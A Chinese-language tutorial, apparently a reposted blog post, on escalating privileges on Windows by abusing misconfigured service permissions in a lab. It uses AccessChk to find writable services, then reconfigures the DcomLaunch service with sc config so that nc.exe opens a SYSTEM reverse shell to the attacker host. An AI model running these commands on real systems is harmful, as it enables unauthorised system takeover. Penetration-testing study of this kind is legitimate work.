在Windows低許可權下利用服務進行提權
先介紹下一個工具---------->AccessChk
AccessChk是Sysinternals中的小工具,推薦用3.0版本的,新版存在一些bug。
利用這個工具用來檢查使用者和使用者組對檔案,目錄,登錄檔項,全域性物件和系統服務的許可權,在實際配置許可權過程中,如果許可權設定不當,那麼win服務就可能被用於提權
AccessChk的具體介紹可以看這:http://blog.51cto.com/rangercyh/497497
這裡我只對要使用的功能選項進行說明
第一次執行會出現一個許可彈窗,可以執行 accesschk.exe /accepteula 來避免彈窗
實驗環境 :
靶機: win2003 sp2 IP:192.168.193.130
攻擊機: win7 IP:192.168.193.131
在靶機上新增一個simeon使用者並加入到Power User組中
然後執行命令 accesschk.exe -uwcqv "Power Users" *
來顯示Power User組可以操作的服務名稱資訊
-u :抑制錯誤
-w:僅顯示具有寫訪問許可權的物件
-c:顯示服務名稱,輸入* 使用者與顯示所有服務
-q:省略標識
-v:冗長(包括WINDOUWS VISTA完整性級別)
前面的RW表示有讀寫許可權,其中服務名稱為“DcomLaunch”和“kdc”服務可以被simeon使用者操作
這裡我選“DcomLaunch” 進行測試
然後使用“sc qc DcomLaunch”命令查詢DcomLaunch的詳細資訊
可以看到是以系統許可權執行的
然後我們在看下是否啟動了 net start | find "DCOM Server Process Launcher"
說明服務是啟動的
然後在獲取這個服務名稱提供的服務
執行 tasklist /svc 找到對應服務
接下來就是修改服務並獲取系統許可權
這裡我們還要配置使用nc反彈shell到我的攻擊機上
我們把nc放到c:\windows\temp目錄下
使用sc對服務進行修改
sc config DcomLaunch binpath= "C:\windows\temp\nc.exe" -nv 192.168.193.131 4433 -e "C:\WINDOWS\system32\cmd.exe"
*注意binpath=後面一定要有個空格
我們在查詢下服務
在執行
obj:指定執行服務將使用的帳戶名,或指定執行驅動程式將使用的 Windows 驅動程式物件名。預設設定為 LocalSystem。
password:指定一個密碼。如果使用了非 LocalSystem 的帳戶,則此項是必需的。
最後使用 net start DcomLaunch 命令重啟這個服務
攻擊機上用nc進行監聽4433即可得到反彈的shell
相關文章
- 許可權系統:許可權應用服務設計
- 授權許可權服務設計解析
- 許可權系統:許可權應用服務設計Tu
- Linux提權-許可權升級Linux
- 許可權概念、許可權提升概念以及許可權提升的分類和目的 Windows 提權的基礎原理是瞭解作業系統的安全機制和許可權管理 Windows提權攻擊的進一步知識概念Windows作業系統
- [提權禁區] SQL語句利用xp_cmdshell獲取許可權SQL
- 微服務中如何設計一個許可權授權服務微服務
- Windows許可權維持Windows
- Linux提權————利用SUID提權LinuxUI
- 利用萬用字元進行Linux本地提權字元Linux
- 提權系列(二)----Windows Service 伺服器提權之Mssql提權,GetPass提權,hash提權,LPK提權Windows伺服器SQL
- Windows環境下提升程式的許可權Windows
- MySQL資料庫Root許可權MOF方法提權研究MySql資料庫
- Oracle的物件許可權、角色許可權、系統許可權Oracle物件
- 利用for命令提權
- 服務端指南 | 檔案許可權管理剖析服務端
- [譯]SQL Server分析服務的許可權配置SQLServer
- 許可權之選單許可權
- Windows提權實戰——————3、PcAnyWhere提權WindowsPCA
- linux下svn(subversion)服務端新增工程及配置許可權Linux服務端
- 如何用 Vue 實現前端許可權控制(路由許可權 + 檢視許可權 + 請求許可權)Vue前端路由
- 許可權系統跟進
- linux 檔案許可權 s 許可權和 t 許可權解析Linux
- windows提權--組策略首選項提權Windows
- 修改組策略以安裝MSI程式進行許可權升級或許可權維持
- windows提權 (一)Windows
- 許可權系統:一文搞懂功能許可權、資料許可權
- Laravel使用中介軟體進行許可權控制Laravel
- Windows許可權設定詳解Windows
- windows7管理員許可權Windows
- [WCF許可權控制]透過擴充套件自行實現服務授權套件
- 微服務架構中整合閘道器、許可權服務微服務架構
- Linux-許可權管理(ACL許可權)Linux
- java BigInteger 對許可權進行2的權的和計算Java
- [WCF許可權控制]通過擴充套件自行實現服務授權[提供原始碼下載]套件原始碼
- js 許可權二進位制JS
- Android系統許可權和root許可權Android
- 騰訊雲(CVM)託管進行許可權維持